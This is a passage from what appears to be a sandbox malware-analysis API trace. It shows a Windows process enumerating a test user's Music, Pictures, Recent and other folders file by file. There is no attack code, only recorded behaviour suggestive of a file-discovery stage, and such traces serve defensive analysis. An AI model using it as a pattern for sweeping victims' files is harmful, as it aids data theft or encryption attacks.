out: hHeap=0x640000) returned 1 [0266.507] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.507] PathFindFileNameW (pszPath="") returned="" [0266.507] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc445d3e0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc445d3e0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.507] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115970 | out: hHeap=0x640000) returned 1 [0266.507] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc445d3e0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc445d3e0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.507] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119e1d00, ftCreationTime.dwHighDateTime=0x1d4d41a, ftLastAccessTime.dwLowDateTime=0xe9fa8420, ftLastAccessTime.dwHighDateTime=0x1d4cdb9, ftLastWriteTime.dwLowDateTime=0xe9fa8420, ftLastWriteTime.dwHighDateTime=0x1d4cdb9, nFileSizeHigh=0x0, nFileSizeLow=0x85f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-avjGaTi5fer-bMia.mp3", cAlternateFileName="-AVJGA~1.MP3")) returned 1 [0266.507] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd98a3fe0, ftCreationTime.dwHighDateTime=0x1d4c8e1, ftLastAccessTime.dwLowDateTime=0x4f5656e0, ftLastAccessTime.dwHighDateTime=0x1d4caa5, ftLastWriteTime.dwLowDateTime=0x4f5656e0, ftLastWriteTime.dwHighDateTime=0x1d4caa5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7SLVf8", cAlternateFileName="")) returned 1 [0266.507] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e18a2d0, ftCreationTime.dwHighDateTime=0x1d4c727, ftLastAccessTime.dwLowDateTime=0x6578d870, ftLastAccessTime.dwHighDateTime=0x1d4c8a3, ftLastWriteTime.dwLowDateTime=0x6578d870, ftLastWriteTime.dwHighDateTime=0x1d4c8a3, nFileSizeHigh=0x0, nFileSizeLow=0x10ece, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8GQt402SpMYiSB.mp3", cAlternateFileName="8GQT40~1.MP3")) returned 1 [0266.507] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b960, ftCreationTime.dwHighDateTime=0x1d4cba7, ftLastAccessTime.dwLowDateTime=0x6be9ed50, ftLastAccessTime.dwHighDateTime=0x1d4cecc, ftLastWriteTime.dwLowDateTime=0x6be9ed50, ftLastWriteTime.dwHighDateTime=0x1d4cecc, nFileSizeHigh=0x0, nFileSizeLow=0x94ea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9Tpbrmx9-eI2m3we6r.mp3", cAlternateFileName="9TPBRM~1.MP3")) returned 1 [0266.507] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5611590, ftCreationTime.dwHighDateTime=0x1d4d4fd, ftLastAccessTime.dwLowDateTime=0xa8571790, ftLastAccessTime.dwHighDateTime=0x1d4c99f, ftLastWriteTime.dwLowDateTime=0xa8571790, ftLastWriteTime.dwHighDateTime=0x1d4c99f, nFileSizeHigh=0x0, nFileSizeLow=0x5e2b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ArZI.wav", cAlternateFileName="")) returned 1 [0266.507] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0266.507] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x168fcbc0, ftCreationTime.dwHighDateTime=0x1d4c6e5, ftLastAccessTime.dwLowDateTime=0xf0b516a0, ftLastAccessTime.dwHighDateTime=0x1d4c985, ftLastWriteTime.dwLowDateTime=0xf0b516a0, ftLastWriteTime.dwHighDateTime=0x1d4c985, nFileSizeHigh=0x0, nFileSizeLow=0x132bb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EfZdtNhwP.wav", cAlternateFileName="EFZDTN~1.WAV")) returned 1 [0266.507] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c47d750, ftCreationTime.dwHighDateTime=0x1d4cdd9, ftLastAccessTime.dwLowDateTime=0x99d93be0, ftLastAccessTime.dwHighDateTime=0x1d4c624, ftLastWriteTime.dwLowDateTime=0x99d93be0, ftLastWriteTime.dwHighDateTime=0x1d4c624, nFileSizeHigh=0x0, nFileSizeLow=0x65dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hgc-ATkiW0nvYtLeb_2n.wav", cAlternateFileName="HGC-AT~1.WAV")) returned 1 [0266.507] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd45d2610, ftCreationTime.dwHighDateTime=0x1d4cc63, ftLastAccessTime.dwLowDateTime=0xa4814960, ftLastAccessTime.dwHighDateTime=0x1d4c88c, ftLastWriteTime.dwLowDateTime=0xa4814960, ftLastWriteTime.dwHighDateTime=0x1d4c88c, nFileSizeHigh=0x0, nFileSizeLow=0x6416, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HLn_CQ4.wav", cAlternateFileName="")) returned 1 [0266.507] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd0e9770, ftCreationTime.dwHighDateTime=0x1d4d1af, ftLastAccessTime.dwLowDateTime=0xa5258a60, ftLastAccessTime.dwHighDateTime=0x1d4cd47, ftLastWriteTime.dwLowDateTime=0xa5258a60, ftLastWriteTime.dwHighDateTime=0x1d4cd47, nFileSizeHigh=0x0, nFileSizeLow=0x14bf1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iYZ-gLKtWydBalI Lxxb.wav", cAlternateFileName="IYZ-GL~1.WAV")) returned 1 [0266.507] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa84d1d70, ftCreationTime.dwHighDateTime=0x1d4d25b, ftLastAccessTime.dwLowDateTime=0x60f33890, ftLastAccessTime.dwHighDateTime=0x1d4d2d0, ftLastWriteTime.dwLowDateTime=0x60f33890, ftLastWriteTime.dwHighDateTime=0x1d4d2d0, nFileSizeHigh=0x0, nFileSizeLow=0xb88c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j pK_84.mp3", cAlternateFileName="JPK_84~1.MP3")) returned 1 [0266.507] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc22f10, ftCreationTime.dwHighDateTime=0x1d4cd6f, ftLastAccessTime.dwLowDateTime=0x7d699c20, ftLastAccessTime.dwHighDateTime=0x1d4ca98, ftLastWriteTime.dwLowDateTime=0x7d699c20, ftLastWriteTime.dwHighDateTime=0x1d4ca98, nFileSizeHigh=0x0, nFileSizeLow=0x8704, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NBJbBMpw.wav", cAlternateFileName="")) returned 1 [0266.508] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb845f370, ftCreationTime.dwHighDateTime=0x1d4d330, ftLastAccessTime.dwLowDateTime=0xde890d60, ftLastAccessTime.dwHighDateTime=0x1d4cd18, ftLastWriteTime.dwLowDateTime=0xde890d60, ftLastWriteTime.dwHighDateTime=0x1d4cd18, nFileSizeHigh=0x0, nFileSizeLow=0x54ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="P8IAG.m4a", cAlternateFileName="")) returned 1 [0266.508] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0c3f10, ftCreationTime.dwHighDateTime=0x1d4d13d, ftLastAccessTime.dwLowDateTime=0x6cfad580, ftLastAccessTime.dwHighDateTime=0x1d4d258, ftLastWriteTime.dwLowDateTime=0x6cfad580, ftLastWriteTime.dwHighDateTime=0x1d4d258, nFileSizeHigh=0x0, nFileSizeLow=0xa94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RAzu8DVMv-r45eOe8.mp3", cAlternateFileName="RAZU8D~1.MP3")) returned 1 [0266.508] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b7a4460, ftCreationTime.dwHighDateTime=0x1d4d040, ftLastAccessTime.dwLowDateTime=0x734ed140, ftLastAccessTime.dwHighDateTime=0x1d4d567, ftLastWriteTime.dwLowDateTime=0x734ed140, ftLastWriteTime.dwHighDateTime=0x1d4d567, nFileSizeHigh=0x0, nFileSizeLow=0x4f5e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="svbuVRxjZk-A.mp3", cAlternateFileName="SVBUVR~1.MP3")) returned 1 [0266.508] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3639d50, ftCreationTime.dwHighDateTime=0x1d4cc0e, ftLastAccessTime.dwLowDateTime=0x4237d830, ftLastAccessTime.dwHighDateTime=0x1d4d0ae, ftLastWriteTime.dwLowDateTime=0x4237d830, ftLastWriteTime.dwHighDateTime=0x1d4d0ae, nFileSizeHigh=0x0, nFileSizeLow=0x1015f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xGq9s.wav", cAlternateFileName="")) returned 1 [0266.508] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64f26e0, ftCreationTime.dwHighDateTime=0x1d4cc42, ftLastAccessTime.dwLowDateTime=0xf4853d80, ftLastAccessTime.dwHighDateTime=0x1d4cd1f, ftLastWriteTime.dwLowDateTime=0xf4853d80, ftLastWriteTime.dwHighDateTime=0x1d4cd1f, nFileSizeHigh=0x0, nFileSizeLow=0x45b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YEmk 2o.m4a", cAlternateFileName="YEMK2O~1.M4A")) returned 1 [0266.508] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf071a2e0, ftCreationTime.dwHighDateTime=0x1d4cb23, ftLastAccessTime.dwLowDateTime=0x913f9d90, ftLastAccessTime.dwHighDateTime=0x1d4d055, ftLastWriteTime.dwLowDateTime=0x913f9d90, ftLastWriteTime.dwHighDateTime=0x1d4d055, nFileSizeHigh=0x0, nFileSizeLow=0x989b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Z29_EgFwKYFm3nLlZNM.wav", cAlternateFileName="Z29_EG~1.WAV")) returned 1 [0266.508] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf071a2e0, ftCreationTime.dwHighDateTime=0x1d4cb23, ftLastAccessTime.dwLowDateTime=0x913f9d90, ftLastAccessTime.dwHighDateTime=0x1d4d055, ftLastWriteTime.dwLowDateTime=0x913f9d90, ftLastWriteTime.dwHighDateTime=0x1d4d055, nFileSizeHigh=0x0, nFileSizeLow=0x989b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Z29_EgFwKYFm3nLlZNM.wav", cAlternateFileName="Z29_EG~1.WAV")) returned 0 [0266.508] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.508] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.508] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115918 | out: hHeap=0x640000) returned 1 [0266.508] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.508] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0266.508] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.508] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.508] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.508] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.509] PathFindFileNameW (pszPath="") returned="" [0266.509] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf071a2e0, ftCreationTime.dwHighDateTime=0x1d4cb23, ftLastAccessTime.dwLowDateTime=0x913f9d90, ftLastAccessTime.dwHighDateTime=0x1d4d055, ftLastWriteTime.dwLowDateTime=0x913f9d90, ftLastWriteTime.dwHighDateTime=0x1d4d055, nFileSizeHigh=0x0, nFileSizeLow=0x989b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Z29_EgFwKYFm3nLlZNM.wav", cAlternateFileName="Z29_EG~1.WAV")) returned 0xffffffff [0266.509] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff17f0 | out: hHeap=0x640000) returned 1 [0266.509] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.509] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0266.509] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.509] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0266.509] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.509] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.509] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.509] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.509] PathFindFileNameW (pszPath="") returned="" [0266.509] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf071a2e0, ftCreationTime.dwHighDateTime=0x1d4cb23, ftLastAccessTime.dwLowDateTime=0x913f9d90, ftLastAccessTime.dwHighDateTime=0x1d4d055, ftLastWriteTime.dwLowDateTime=0x913f9d90, ftLastWriteTime.dwHighDateTime=0x1d4d055, nFileSizeHigh=0x0, nFileSizeLow=0x989b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Z29_EgFwKYFm3nLlZNM.wav", cAlternateFileName="Z29_EG~1.WAV")) returned 0xffffffff [0266.509] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115970 | out: hHeap=0x640000) returned 1 [0266.509] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.509] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115918 | out: hHeap=0x640000) returned 1 [0266.509] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.509] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0266.510] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.510] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.510] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.510] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.510] PathFindFileNameW (pszPath="") returned="" [0266.510] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc458dee0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc458dee0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.510] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0266.510] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc458dee0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc458dee0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.510] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5087d50, ftCreationTime.dwHighDateTime=0x1d4c710, ftLastAccessTime.dwLowDateTime=0x7f29a590, ftLastAccessTime.dwHighDateTime=0x1d4d4b2, ftLastWriteTime.dwLowDateTime=0x7f29a590, ftLastWriteTime.dwHighDateTime=0x1d4d4b2, nFileSizeHigh=0x0, nFileSizeLow=0x4314, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4mbF.gif", cAlternateFileName="")) returned 1 [0266.510] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0266.510] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b8bec0, ftCreationTime.dwHighDateTime=0x1d4c9e5, ftLastAccessTime.dwLowDateTime=0xeb624c70, ftLastAccessTime.dwHighDateTime=0x1d4d396, ftLastWriteTime.dwLowDateTime=0xeb624c70, ftLastWriteTime.dwHighDateTime=0x1d4d396, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="io8_8GuAwtxmu", cAlternateFileName="IO8_8G~1")) returned 1 [0266.510] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd2ddb20, ftCreationTime.dwHighDateTime=0x1d4d0f2, ftLastAccessTime.dwLowDateTime=0x13d19350, ftLastAccessTime.dwHighDateTime=0x1d4d0ef, ftLastWriteTime.dwLowDateTime=0x13d19350, ftLastWriteTime.dwHighDateTime=0x1d4d0ef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kQOrnOQ", cAlternateFileName="")) returned 1 [0266.510] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7159a5f0, ftCreationTime.dwHighDateTime=0x1d4cf9e, ftLastAccessTime.dwLowDateTime=0x3c0e48d0, ftLastAccessTime.dwHighDateTime=0x1d4d4e7, ftLastWriteTime.dwLowDateTime=0x3c0e48d0, ftLastWriteTime.dwHighDateTime=0x1d4d4e7, nFileSizeHigh=0x0, nFileSizeLow=0x235f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pCb9pgcYyZh0BJvZP_h.gif", cAlternateFileName="PCB9PG~1.GIF")) returned 1 [0266.510] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7159a5f0, ftCreationTime.dwHighDateTime=0x1d4cf9e, ftLastAccessTime.dwLowDateTime=0x3c0e48d0, ftLastAccessTime.dwHighDateTime=0x1d4d4e7, ftLastWriteTime.dwLowDateTime=0x3c0e48d0, ftLastWriteTime.dwHighDateTime=0x1d4d4e7, nFileSizeHigh=0x0, nFileSizeLow=0x235f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pCb9pgcYyZh0BJvZP_h.gif", cAlternateFileName="PCB9PG~1.GIF")) returned 0 [0266.510] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.510] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.510] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115918 | out: hHeap=0x640000) returned 1 [0266.510] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.511] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0266.511] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.511] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.511] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.511] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.511] PathFindFileNameW (pszPath="") returned="" [0266.511] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7159a5f0, ftCreationTime.dwHighDateTime=0x1d4cf9e, ftLastAccessTime.dwLowDateTime=0x3c0e48d0, ftLastAccessTime.dwHighDateTime=0x1d4d4e7, ftLastWriteTime.dwLowDateTime=0x3c0e48d0, ftLastWriteTime.dwHighDateTime=0x1d4d4e7, nFileSizeHigh=0x0, nFileSizeLow=0x235f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pCb9pgcYyZh0BJvZP_h.gif", cAlternateFileName="PCB9PG~1.GIF")) returned 0xffffffff [0266.511] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff17f0 | out: hHeap=0x640000) returned 1 [0266.511] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.511] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0266.511] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.511] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0266.511] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.511] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.511] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.511] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.511] PathFindFileNameW (pszPath="") returned="" [0266.511] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7159a5f0, ftCreationTime.dwHighDateTime=0x1d4cf9e, ftLastAccessTime.dwLowDateTime=0x3c0e48d0, ftLastAccessTime.dwHighDateTime=0x1d4d4e7, ftLastWriteTime.dwLowDateTime=0x3c0e48d0, ftLastWriteTime.dwHighDateTime=0x1d4d4e7, nFileSizeHigh=0x0, nFileSizeLow=0x235f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pCb9pgcYyZh0BJvZP_h.gif", cAlternateFileName="PCB9PG~1.GIF")) returned 0xffffffff [0266.512] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115970 | out: hHeap=0x640000) returned 1 [0266.512] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.512] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115918 | out: hHeap=0x640000) returned 1 [0266.512] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.512] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0266.512] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.512] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.512] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.512] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.512] PathFindFileNameW (pszPath="") returned="" [0266.512] FindFirstFileW (in: 